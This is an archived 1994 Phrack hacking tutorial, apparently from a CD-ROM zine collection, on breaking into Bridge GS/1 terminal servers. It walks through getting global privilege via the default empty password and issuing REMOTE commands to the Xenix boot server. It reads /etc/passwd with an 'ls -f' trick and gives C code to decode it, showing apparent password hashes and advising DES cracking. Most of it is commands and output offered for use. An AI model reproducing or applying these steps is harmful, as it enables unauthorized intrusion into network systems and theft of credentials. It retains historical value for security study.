home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack46.017 < prev    next >
Encoding:
Text File  |  2003-06-11  |  24.7 KB  |  604 lines

  1.                               ==Phrack Magazine==
  2.  
  3.                  Volume Five, Issue Forty-Six, File 17 of 28
  4.  
  5. ****************************************************************************
  6.  
  7. [<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]
  8. [<>                                                                     <>]
  9. [<>   ----+++===:::  GETTiN' D0wN 'N D1RTy wiT Da GS/1  :::===+++----   <>]
  10. [<>                                                                     <>]
  11. [<> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <>]
  12. [<>                                                                     <>]
  13. [<>                        Brought to you by:                           <>]
  14. [<>        [)elam0 Labz, Inc. and ChURcH oF ThE Non-CoNForMisT          <>]
  15. [<>                                                                     <>]
  16. [<>        Story line: Maldoror -n- [)r. [)elam                         <>]
  17. [<>        Main Characters: Menacing Maldoror & The Evil [)r. [)elam    <>]
  18. [<>        Unix Technical Expertise: Wunder-Boy [)elam                  <>]
  19. [<>        Sysco Technishun: Marvelous Maldoror                         <>]
  20. [<>                                                                     <>]
  21. [<>        Look for other fine [)elamo Labz and ChURcH oF ThE           <>]
  22. [<>        Non-CoNForMisT products already on the market such as        <>]
  23. [<>        DEPL (Delam's Elite Password Leecher), NUIA (Maldoror's      <>]
  24. [<>        Tymnet NUI Attacker), TNET.SLT (Delam's cheap0 Telenet       <>]
  25. [<>        skanner for Telix), PREFIX (Maldoror's telephone prefix      <>]
  26. [<>        identification program), and various other programs and      <>]
  27. [<>        philez written by Dr. Delam, Maldoror, Green Paradox,        <>]
  28. [<>        El Penga, Hellpop, and other certified DLI and CNC members.  <>]
  29. [<>                                                                     <>]
  30. [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]
  31.  
  32.                                Index
  33.               ========================================
  34.  
  35.               1. Finding and identifying a GS/1
  36.               2. Getting help
  37.               3. Gaining top privilege access
  38.               4. Finding the boot server
  39.               5. Connecting to the boot server
  40.               6. Getting the boot server password file
  41.               7. Other avenues
  42.  
  43.  
  44. ----------------------------------------------------------------------------
  45.  
  46.  
  47. Here's hacking a GS/1 made EZ (for the sophisticated hacker)  It is
  48. advisable to fill your stein with Sysco and pay close attention... if
  49. Sysco is not available in your area, Hacker Pschorr beer will work
  50. almost as good... (especially Oktoberfest variety)
  51.  
  52.  
  53. What is a GS/1?
  54. ---------------
  55. A GS/1 allows a user to connect to various other computers... in other
  56. words, it's a server, like a DEC or Xyplex.
  57.  
  58.  
  59. So why hack it?
  60. ---------------
  61. Cuz itz there... and plus you kan access all sortz of net stuph fer
  62. phree. (QSD @ 208057040540 is lame and if you connect to it, you're
  63. wasting the GS/1.. the French fone police will fly over to your country
  64. and hunt you down like a wild pack of dogs, then hang you by your own
  65. twisted pair.)
  66.  
  67.  
  68. What to do:
  69. -----------
  70.  
  71.  
  72.  
  73.                +--------------------------------------+
  74.                +  #1. Finding and identifying a GS/1  +
  75.                +--------------------------------------+
  76.  
  77. Find a GS/1 .. they're EZ to identify.. they usually have a prompt of
  78. GS/1, though the prompt can be set to whatever you want it to be.  A
  79. few years ago there were quite a number of GS/1's laying around on
  80. Tymnet and Telenet... you can still find a few if you scan the right
  81. DNIC's.  (If you don't know what the hell I'm talking about, look at
  82. some old Phracks and LOD tech. journals.)
  83.  
  84. The prompt will look similar to this:
  85.  
  86. (!2) GS/1>
  87.  
  88. (The (!2) refers to the port you are on)
  89.  
  90.  
  91.  
  92.                         +--------------------+
  93.                         +  #2. Getting help  +
  94.                         +--------------------+
  95.  
  96. First try typing a '?' to display help items.
  97.  
  98. A help listing looks like this:
  99.  
  100. > (!2) GS/1>?
  101. >       Connect     <address>[,<address>] [ ECM ] [ Q ]
  102. >       DO          <macro-name>
  103. >       Echo        <string>
  104. >       Listen
  105. >       Pause       [<seconds>]
  106. >       PIng        <address> [ timeout ]
  107. >       SET         <param-name> = <value> ...
  108. >       SHow        <argument> ...
  109.  
  110. At higher privileges such as global (mentioned next) the help will
  111. look like this (note the difference in the GS/1 prompt with a # sign):
  112.  
  113. > (!2) GS/1# ?
  114. >       BRoadcast   ( <address> ) <string>
  115. >       Connect     ( <address> ) <address>[,<address>] [ ECM ] [ Q ]
  116. >       DEFine      <macro-name> = ( <text> )
  117. >       DisConnect  ( <address> ) [<session number>]
  118. >       DO          ( <address> ) <macro-name>
  119. >       Echo        <string>
  120. >       Listen      ( <address> )
  121. >       Pause       [<seconds>]
  122. >       PIng        <address> [ timeout ]
  123. >       ReaD        ( <address> ) <option> <parameter>
  124. >       REMOTE      <address>
  125. >       ROtary      ( <address> ) !<rotary> [+|-]= !<portid>[-!<portid>] , ...
  126. >       SAve        ( <address> ) <option> <filename>
  127. >       SET         ( <address> ) <param-name> = <value> ...
  128. >       SETDefault  ( <address> ) [<param-name> = <value>] ...
  129. >       SHow        ( <address> ) <argument> ...
  130. >       UNDefine    ( <address> ) <macro-name>
  131. >       UNSave      ( <address> ) <filename>
  132. >       ZeroMacros  ( <address> )
  133. >       ZeroStats   ( <address> )
  134.  
  135. Additional commands under global privilege are: BRoadcast, DEFine,
  136. DisConnect, ReaD, REMOTE, ROtary, UNDefine, UNSave, ZeroMacros,
  137. ZeroStats, and a few extra options under the normal user commands.
  138.  
  139. If you need in-depth help for any of the commands, you can again use the
  140. '?' in the following fashion:
  141.  
  142. > (!2) GS/1>sho ?
  143. >       SHow    ADDRess
  144. >       SHow    ClearingHouseNames [ <name> [ @ <domain> [@ <organ.> ] ] ]
  145. >       SHow    DefaultParameters [<param-name> ...]
  146. >       SHow    GLobalPARameters
  147. >       SHow    NetMAP [ Short | Long ]
  148. >       SHow    PARAmeterS [<param-name> ...]
  149. >       SHow    <param-name> ...
  150. >       SHow    SESsions [ P ]
  151. >       SHow    VERSion
  152.  
  153. > (!2) GS/1>sh add?
  154. >       SHow    ADDRess
  155.  
  156. > (!2) GS/1>sh add
  157. > ADDRess = &000023B5%07000201E1D7!2
  158.  
  159. "sh add" displays your own network, address and port number.
  160.  
  161. The network is 000023B5
  162. The address is 07000201E1D7
  163. The port number is 2
  164.  
  165.  
  166.  
  167.                    +------------------------------------+
  168.                    +  #3. Gaining top privilege access  +
  169.                    +------------------------------------+
  170.  
  171. Figure out the global password.
  172.  
  173. Do a "set priv=global" command.
  174.  
  175.    Note:
  176.    ----
  177.    There are 3 states to set priv to: user, local, and global.  Global is
  178.    the state with the most privilege.  When you attain global privilege,
  179.    your prompt will change to have a '#' sign at the end of it.. this means
  180.    you have top priceless (similar to *nix's super user prompt).
  181.  
  182. The GS/1 will prompt you for a password.  The default password on GS/1's
  183. is to have no password at all... The GS/1  will still prompt you for a
  184. password, but you can enter anything at this point if the password was
  185. never set.
  186.  
  187.  
  188.  
  189.                   +-------------------------------+
  190.                   +  #4. Finding the boot server  +
  191.                   +-------------------------------+
  192.  
  193. Figure out the boot server address available from this GS/1 ..
  194.  
  195. The boot server is what lies under the GS/1.  We've found that GS/1's are
  196. actually run on a Xenix operating system.. (which is of course a nice
  197. phamiliar territory)  It's debatable whether all GS/1's are run on Xenix or
  198. not as we have yet to contact the company.  (We may put out a 2nd file going
  199. into more detail.)
  200.  
  201. Do a "sh b" or "sh global" as shown in the following examples:
  202.  
  203. > (!2) GS/1# sh b
  204. > BAud = 9600         BootServerAddress = &00000000%070002017781
  205. > BReakAction = ( FlushVC, InBand )       BReakChar = Disabled
  206. > BSDelay = None      BUffersize = 82
  207.  
  208. > (!2) GS/1# sh global
  209. > ...............................Global Parameters............................
  210. > DATE = Wed Jun 22 21:16:45 1994         TimeZone = 480 minutes
  211. > DaylightSavingsTime = 0 minutes         LogoffStr = "L8r laM3r"
  212. > WelcomeString = "Welcome to your haqued server (!2), Connected to "
  213. > DOmain = "thelabz"                      Organization = "delam0"
  214. > PROmpt = "GS/1>"                        NMPrompt = "GS/1# "
  215. > LocalPassWord = ""                      GlobalPassWord = "haque-me"
  216. > NetMapBroadcast = ON                    MacType = EtherNET
  217. > CONNectAudit = ON                       ERRorAudit = ON
  218. > AUditServerAddress = &000031A4%07000200A3D4
  219. > AUditTrailType = Local
  220. > BootServerAddress = &00000000%070002017781
  221.  
  222. Side note: the GlobalPassWord is "haque-me" whereas the LocalPassWord is ""
  223. ... these are the actual passwords that need to be entered (or in the case
  224. of the LocalPassWord, "" matches any string).  You'll only be able to
  225. "sh global" after a successful "set priv=global".
  226.  
  227. Now that you have the boot server address, the next step is enabling
  228. communication to the boot server.
  229.  
  230.  
  231.  
  232.               +-------------------------------------+
  233.               +  #5. Connecting to the boot server  +
  234.               +-------------------------------------+
  235.  
  236. Do a REMOTE <address> where address is the address of the machine you
  237. want to issue remote commands to.
  238.  
  239. > (!2) GS/1# REMOTE %070002017781
  240. > (!2) Remote: ?
  241. >       BInd        <address> [-f <bootfile>] [-l <loader>] [<nports>]
  242. >       BRoadcast   ( <address> ) "<string>"
  243. >       CoPyfile    [<address>:]<pathname> [<address>:][<pathname>]
  244. >       LiSt        [ -ls1CR ] [<pathname> ...]
  245. >       MoVe        <pathname> <pathname>
  246. >       NAme        <clearinghouse name> = <address>[,<address>]...
  247. >       Ping        <address> [timeout]
  248. >       ReMove      <pathname> ...
  249. >       SET         [( <address> )] <param-name> = <value> ...
  250. >       SETDefault  <param-name> = <value> ...
  251. >       SHow        <argument>
  252. >       UNBind      <address>
  253. >       UNDefine    <macro name>
  254. >       UNName      <name>
  255. >       ZeroStats
  256. >       <BREAK>     (to leave remote mode)
  257.  
  258. Your prompt changes from "(!2) GS/1# " to "(!2) Remote: "... this means
  259. you will be issuing commands to whatever remote machine you specified
  260. by the REMOTE <address> command.
  261.  
  262. Notice for this case, the boot server's address was used.
  263.  
  264. When you get the REMOTE: prompt, you can issue commands that will be
  265. executed on the remote machine.  Try doing a '?' to see if it's another
  266. GS/1.. if not, try doing 'ls' to see if you have a *nix type machine.
  267.  
  268. Also notice that the help commands on the remote are not the same as
  269. those for the GS/1 (though, if you establish a remote link with another
  270. GS/1 they will be the same).
  271.  
  272. > (!2) Remote: ls -l
  273. > total 1174
  274. > drwxrwxrwx   2 ncs      ncs          160 Aug 17  1989 AC
  275. > drwxrwxrwx   2 ncs      ncs         5920 Jun  5 00:00 AUDIT_TRAIL
  276. > drwxrwxrwx   2 ncs      ncs           96 Jun  5 01:00 BACKUP
  277. > drwxrwxrwx   2 ncs      ncs          240 Jun  4 04:42 BIN
  278. > drwxrwxrwx   2 ncs      ncs          192 Jun  4 04:13 CONFIGS
  279. > drwxrwxrwx   2 ncs      ncs           64 Aug 17  1989 DUMP
  280. > drwxrwxrwx   2 ncs      ncs           80 Aug 17  1989 ETC
  281. > drwxrwxrwx   2 ncs      ncs          160 Jun  4 04:13 GLOBALS
  282. > -rw-r--r--   1 ncs      ncs          228 Jun  5 00:59 btdata
  283. > -rw-r--r--   1 ncs      ncs         8192 Jun  8  1993 chnames.dir
  284. > -rw-r--r--   1 ncs      ncs        11264 Jun  1 13:41 chnames.pag
  285. > drwxrwxrwx   2 ncs      ncs           48 Jun  5 00:00 dev
  286. > drwx------   2 bin      bin         1024 Aug 17  1989 lost+found
  287. > -rw-rw-rw-   1 ncs      ncs       557056 Mar 23  1992 macros
  288. > -rw-r--r--   1 ncs      ncs          512 Oct 22  1993 passwd
  289.  
  290. Look familiar??  If not, go to the nearest convenient store and buy the
  291. a 12 pack of the cheapest beer you can find.. leave your computer
  292. connected so you hurry back, and slam eight or nine cold onez... then
  293. look at the screen again.
  294.  
  295. You're basically doing a Remote Procedure Call for ls to your Xenix boot
  296. server.
  297.  
  298. Notice at this point that the "passwd" is not owned by root.  This is
  299. because this is not the system password file, and you are not in the
  300. "/etc" directory... (yet)
  301.  
  302. There are a couple of problems:
  303.  
  304. > (!2) Remote: cat
  305. > Invalid REMOTE command
  306. >
  307. > (!2) Remote: cd /etc
  308. > Invalid REMOTE command
  309.  
  310. You cannot view files and you cannot change directories.
  311.  
  312. To solve the "cd" problem do the following:
  313.  
  314. > (!2) Remote: ls -l ..
  315. > total 26
  316. > drwxrwxrwx  12 root     root         352 Jun  5 00:59 NCS
  317. > drwxr-xr-x   2 bin      bin          112 Aug 17  1989 adm
  318. > drwxrwx---   2 sysinfo  sysinfo       48 Aug 17  1989 backup
  319. > drwxr-xr-x   2 bin      bin         1552 Aug 17  1989 bin
  320. > drwxr-xr-x  20 bin      bin          720 Aug 17  1989 lib
  321. > drwxrwxrwx   6 ncs      ncs          224 Aug 17  1989 ncs
  322. > drwxr-xr-x   2 bin      bin           32 Aug 17  1989 preserve
  323. > drwxr-xr-x   2 bin      bin           64 Aug 17  1989 pub
  324. > drwxr-xr-x   7 bin      bin          144 Aug 17  1989 spool
  325. > drwxr-xr-x   9 bin      bin          144 Aug 17  1989 sys
  326. > drwxr-x---   2 root     root          48 Aug 17  1989 sysadm
  327. > drwxrwxrwx   2 bin      bin           48 Jun  5 01:00 tmp
  328. >
  329. > (!2) Remote: ls -l ../..
  330. > total 1402
  331. > -rw-r--r--   1 root     root        1605 Aug 17  1989 .login
  332. > -r--r--r--   1 ncs      ncs         1605 Aug 28  1990 .login.ncs
  333. > -rw-r--r--   1 root     root         653 Aug 17  1989 .logout
  334. > -r--r--r--   1 ncs      ncs          653 Aug 28  1990 .logout.ncs
  335. > -rw-------   1 root     root         427 Aug 17  1989 .profile
  336. > drwxr-xr-x   2 bin      bin         2048 Aug 17  1989 bin
  337. > -r--------   1 bin      bin        25526 May  4  1989 boot
  338. > drwxr-xr-x   6 bin      bin         3776 Aug 17  1989 dev
  339. > -r--------   1 bin      bin          577 Nov  3  1987 dos
  340. > drwxr-xr-x   5 bin      bin         1904 Jun  2 12:40 etc
  341. > drwxr-xr-x   2 bin      bin           64 Aug 17  1989 lib
  342. > drwx------   2 bin      bin         1024 Aug 17  1989 lost+found
  343. > drwxr-xr-x   2 bin      bin           32 Aug 17  1989 mnt
  344. > drwxrwxrwx   2 bin      bin          512 Jun  5 01:20 tmp
  345. > drwxr-xr-x  14 bin      bin          224 Aug 17  1989 usr
  346. > -rw-r--r--   1 bin      bin       373107 Aug 17  1989 xenix
  347. > -rw-r--r--   1 root     root      287702 Aug 17  1989 xenix.old
  348.  
  349. Your brain should now experience deja vous.. you just found the
  350. root directory.  (for the non-*nix, lam0-hacker, the root directory
  351. has key *nix directories such as /etc, /bin, /dev, /lib, etc. in it.)
  352.  
  353. Now you can get to /etc/passwd as follows:
  354.  
  355. > (!2) Remote: ls -l ../../etc
  356. > total 1954
  357. > -rwx--x--x   1 bin      bin         7110 May  8  1989 accton
  358. > -rwx------   1 bin      bin         1943 May  8  1989 asktime
  359. > -rwx------   1 bin      bin        31756 May  8  1989 badtrk
  360. > -rw-rw-rw-   1 root     root        1200 Apr 24 12:40 bootlog
  361. > -rwx--x--x   1 bin      bin        24726 May  8  1989 brand
  362. > -rw-r--r--   1 bin      bin           17 Aug 17  1989 checklist
  363. > -rw-r--r--   2 bin      bin           17 Aug 17  1989 checklist.last
  364. > -rw-r--r--   1 ncs      ncs           17 Aug 28  1990 checklist.ncs
  365. > -rw-r--r--   2 bin      bin           17 Aug 17  1989 checklist.orig
  366. > -rwx------   1 bin      bin         2857 May  8  1989 chsh
  367. > -rwx------   1 bin      bin         7550 May  8  1989 clri
  368. > -rwx------   1 bin      bin         8034 May  8  1989 cmos
  369. > -rwxr-xr-x   1 root     bin        31090 Aug 28  1990 cron
  370. > -rw-r--r--   1 bin      bin          369 May  8  1989 cshrc
  371. > ...... etc.
  372. > -rw-r--r--   1 root     root         465 Mar  5  1991 passwd
  373.  
  374. Yeah, now what?!
  375.  
  376. You've found the /etc/passwd file, but you don't have "cat" to type the
  377. file out.  Now you're stuck... so drink a half a bottle of Sysco per
  378. person. (We did... and as you'll see, Sysco is the drink of a manly hackers
  379. like us... make sure it's the big bottle kind not those girly small
  380. onez.)
  381.  
  382.  
  383.  
  384.             +---------------------------------------------+
  385.             +  #6. Getting the boot server password file  +
  386.             +---------------------------------------------+
  387.  
  388. There is one way to get around the cat problem (no itz n0t puttin
  389. catnip laced with somethin U made frum a phile on yer doorstep)
  390. It's done using ls.  On this Xenix system, the directory structure is
  391. the old Unix format: A 16 byte record comprised of a 2 byte I-number
  392. and a 14 byte character field.
  393.  
  394.    Note about directory structure for the inquisitive hacker:
  395.    In a directory record there is a 14 byte string containing the file
  396.    name, and the 2 byte I-number (2 bytes = an integer in this case)
  397.    which is a number that is an (I)ndex pointer to the I-node.  The
  398.    I-node then contains the information about where the file's data is
  399.    actually kept (similar to how a FAT table works on an IBM PC yet a
  400.    different concept as it has indirect index blocks etc. I won't get
  401.    into) and what permissions are set for the file.  Be warned that in
  402.    newer *nix implementations, file names can be more than 14 characters
  403.    and the directory structure will be a bit different than discussed.
  404.  
  405. The "ls" command has an option that allows you to tell it "this *file* is
  406. a *directory*.. so show me what's in the directory"... newer *nix
  407. systems won't like this (the -f option) because of the new directory
  408. structure.
  409.  
  410. > (!2) Remote: ls -?
  411. > ls: illegal option --?
  412. > usage:  -1ACFRabcdfgilmnopqrstux [files]
  413. >
  414. > (!2) Remote: ls -1ACFRabcdfgilmnopqrstux ../../etc/passwd
  415. > 28530 ot:BJlx/e8APHe   30580 :0:0:Super use   14962 /:/bin/csh?sys
  416. > 25697 m:X/haSqFDwHz1   14929 0:0:System Adm   28265 istration:/usr
  417. > 29487 ysadm:/bin/sh?   29283 on:NOLOGIN:1:1   17210 ron daemon for
  418. > 28704 eriodic tasks:   14895 ?bin:NOLOGIN:3   13114 :System file a
  419. > 28004 inistration:/:   29962 ucp::4:4:Uucp    25697 ministration:/
  420. > 29557 r/spool/uucppu   27746 ic:/usr/lib/uu   28771 /uucico?asg:NO
  421. > 20300 GIN:6:6:Assign   25185 le device admi   26990 stration:/:?sy
  422. > 26995 nfo:NOLOGIN:10   12602 0:Access to sy   29811 em information
  423. > 12090 :?network:NOLO   18759 N:12:12:Mail a   25710  Network admin
  424. > 29545 tration:/usr/s   28528 ol/micnet:?lp:   20302 LOGIN:14:3:Pri
  425. > 29806  spooler admin   29545 tration:/usr/s   28528 ol/lp:?dos:NOL
  426. > 18255 IN:16:10:Acces    8307 to Dos devices   12090 :?ncs:yYNFnHnL
  427. > 22327 xcU:100:100:NC    8275 operator:/usr/
  428. >
  429. > (!2) Remote: <BRK>
  430. > (!2) GS/1#
  431.  
  432. Wow, kewl.  Now that you have a bunch-o-shit on your screen, you have
  433. to make some sense out of it.
  434.  
  435. The password file is almost legible, but the I-numbers still need to be
  436. converted to ASCII characters.  This can be accomplished in a variety of
  437. ways... the easiest is to write a program like the following in C:
  438.  
  439. On a PC the following code should work:
  440.  
  441. #include <stdio.h>
  442. main()
  443. {
  444.    union {
  445.       int i;
  446.       char c[2];
  447.    } x;
  448.    while (1) {
  449.       printf("Enter I-Number: ");
  450.       scanf("%d", &x.i);
  451.       printf("%d = [%c][%c]\n\n", x.i, x.c[0], x.c[1]);
  452.    }
  453. }
  454.  
  455. On a *nix based system the following code will work (depending on
  456. word size and byte arrangement):
  457.  
  458. #include <stdio.h>
  459. main()
  460. {
  461.    union {
  462.       short int i;
  463.       char c[2];
  464.    } x;
  465.    while (1) {
  466.       printf("Enter I-Number: ");
  467.       scanf("%hd", &x.i);
  468.       printf("%d = [%c][%c]\n\n", x.i, x.c[1], x.c[0]);
  469.    }
  470. }
  471.  
  472.  
  473. When you have translated the I-numbers you can substitute the ASCII
  474. values by hand (or write a d0p3 program to do it for you):
  475.  
  476. 28530 ot:BJlx/e8APHe   30580 :0:0:Super use   14962 /:/bin/csh?sys
  477. 28530 = [r][o]         30580 = [t][w]         14962 = [r][:]
  478. root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh?sys
  479.  
  480. 25697 m:X/haSqFDwHz1   14929 0:0:System Adm   28265 istration:/usr
  481. 25697 = [a][d]         14929 = [Q][:]         28265 = [i][n]
  482. adm:X/haSqFDwHz1Q:0:0:System Administration:/usr
  483.  
  484. 29487 ysadm:/bin/sh?   29283 on:NOLOGIN:1:1   17210 ron daemon for
  485. 29487 = [/][s]         29283 = [c][r]         17210 = [:][C]
  486. /sysadm:/bin/sh?cron:NOLOGIN:1:1:Cron daemon for
  487.  
  488. 28704 eriodic tasks:   14895 ?bin:NOLOGIN:3   13114 :System file a
  489. 28704 = [ ][p]         14895 = [/][:]         13114 = [:][3]
  490.  periodic tasks:/:?bin:NOLOGIN:3:3:System file a
  491.  
  492. 28004 inistration:/:   29962 ucp::4:4:Uucp    25697 ministration:/
  493. 28004 = [d][m]         29962 = [^M][u]        25697 = [a][d]
  494. dministration:/:
  495. uucp::4:4:Uucp administration:/
  496.  
  497. 29557 r/spool/uucppu   27746 ic:/usr/lib/uu   28771 /uucico?asg:NO
  498. 29557 = [u][s]         27746 = [b][l]         28771 = [c][p]
  499. usr/spool/uucppublic:/usr/lib/uucp/uucico?asg:NO
  500.  
  501. 20300 GIN:6:6:Assign   25185 le device admi   26990 stration:/:?sy
  502. 20300 = [L][O]         25185 = [a][b]         26990 = [n][i]
  503. LOGIN:6:6:Assignable device administration:/:?sy
  504.  
  505. 26995 nfo:NOLOGIN:10   12602 0:Access to sy   29811 em information
  506. 26995 = [s][i]         12602 = [:][1]         29811 = [s][t]
  507. sinfo:NOLOGIN:10:10:Access to system information
  508.  
  509. 12090 :?network:NOLO   18759 N:12:12:Mail a   25710  Network admin
  510. 12090 = [:][/]         18759 = [G][I]         25710 = [n][d]
  511. :/:?network:NOLOGIN:12:12:Mail and Network admin
  512.  
  513. 29545 tration:/usr/s   28528 ol/micnet:?lp:   20302 LOGIN:14:3:Pri
  514. 29545 = [i][s]         28528 = [p][o]         20302 = [N][O]
  515. istration:/usr/spool/micnet:?lp:NOLOGIN:14:3:Pri
  516.  
  517. 29806  spooler admin   29545 tration:/usr/s   28528 ol/lp:?dos:NOL
  518. 29806 = [n][t]         29545 = [i][s]         28528 = [p][o]
  519. nt spooler administration:/usr/spool/lp:?dos:NOL
  520.  
  521. 18255 IN:16:10:Acces    8307 to Dos devices   12090 :?ncs:yYNFmHnL
  522. 18255 = [O][G]          8307 = [s][ ]         12090 = [:][/]
  523. OGIN:16:10:Access to Dos devices:/:?ncs:yYNFnHnL
  524.  
  525. 22327 xcU:100:100:NC    8275 operator:/usr/
  526. 22327 = [7][W]          8275 = [S][ ]
  527. 7WxcU:100:100:NCS operator:/usr
  528.  
  529.  
  530. The resulting file will look like the following:
  531.  
  532. root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh?sys
  533. adm:X/haSqFDwHz1Q:0:0:System Administration:/usr
  534. /sysadm:/bin/sh?cron:NOLOGIN:1:1:Cron daemon for
  535.  periodic tasks:/:?bin:NOLOGIN:3:3:System file a
  536. dministration:/:
  537. uucp::4:4:Uucp administration:/
  538. usr/spool/uucppublic:/usr/lib/uucp/uucico?asg:NO
  539. LOGIN:6:6:Assignable device administration:/:?sy
  540. sinfo:NOLOGIN:10:10:Access to system information
  541. :/:?network:NOLOGIN:12:12:Mail and Network admin
  542. istration:/usr/spool/micnet:?lp:NOLOGIN:14:3:Pri
  543. nt spooler administration:/usr/spool/lp:?dos:NOL
  544. OGIN:16:10:Access to Dos devices:/:?ncs:yYNFmHnL
  545. 7WxcU:100:100:NCS operator:/usr
  546.  
  547. Because the ls command cannot display "non-printable" characters such
  548. as the carriage return, it will replace them with a '?' character...
  549. delete the '?' characters and divide by line at these locations.  When
  550. you finish doing that, you'll have a standard /etc/passwd file:
  551.  
  552. root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh
  553. sysadm:X/haSqFDwHz1Q:0:0:System Administration:/usr/sysadm:/bin/sh
  554. cron:NOLOGIN:1:1:Cron daemon for periodic tasks:/:
  555. bin:NOLOGIN:3:3:System file administration:/:
  556. uucp::4:4:Uucp administration:/usr/spool/uucppublic:/usr/lib/uucp/uucico
  557. asg:NOLOGIN:6:6:Assignable device administration:/:
  558. sysinfo:NOLOGIN:10:10:Access to system information:/:
  559. network:NOLOGIN:12:12:Mail and Network administration:/usr/spool/micnet:
  560. lp:NOLOGIN:14:3:Print spooler administration:/usr/spool/lp:
  561. dos:NOLOGIN:16:10:Access to Dos devices:/:
  562. ncs:yYNFmHnL7WxcU:100:100:NCS operator:/usr
  563.  
  564. Once you've assembled your password file in a standard ASCII form,
  565. you'll of course want to crack it with one of the many available DES
  566. cracking programs.
  567.  
  568. +---------------------+
  569. +  #7: Other Avenues  +
  570. +---------------------+
  571.  
  572. Find out what else you can play with by first finding what networks are
  573. available other than your own, and second, find out what machines are on
  574. your network:
  575.  
  576. >(!2) GS/1# sh att
  577. >                               Attached Networks
  578. >&000023B5
  579. >(!2) GS/1# sh nmap l
  580. >                             NETWORK &000023B5 MAP
  581. >
  582. >  1-%070002017781 SW/AT-NCS       3.0.2  2-%070002A049C5 SW/NB-BR-3.1.1.1
  583. >  3-%0700020269A7 SW/200-A/BSC/SDL22000  4-%07000201C089 SW/200-A/BSC/SDL22020
  584. >  5-%070002023644 SW/200-A/BSC/SDL22020  6-%0700020138B2 SW/AT-NCS       2.1.1
  585. >  7-%070002010855 SW/100-A/BSC    20060  8-%070002018BA2 SW/20-XNS-X.25  .0.2
  586. > .... etc.
  587.  
  588. The boot server address, from previous examples, is number 1
  589. which contains a description "SW/AT-NCS".  Examining the rest of the
  590. list, number 6 has the same description.  System 12 may be just another
  591. address for the boot server or it may be a different Xenix... but it should
  592. be Xenix whatever it is.
  593.  
  594. We have refrained from covering the typical GS/1 information that has been
  595. published by others; and instead, covered newer concepts in GS/1 hacking.
  596. This phile is not a complete guide to GS/1 hacking; but expect successive
  597. publications on the topic.
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.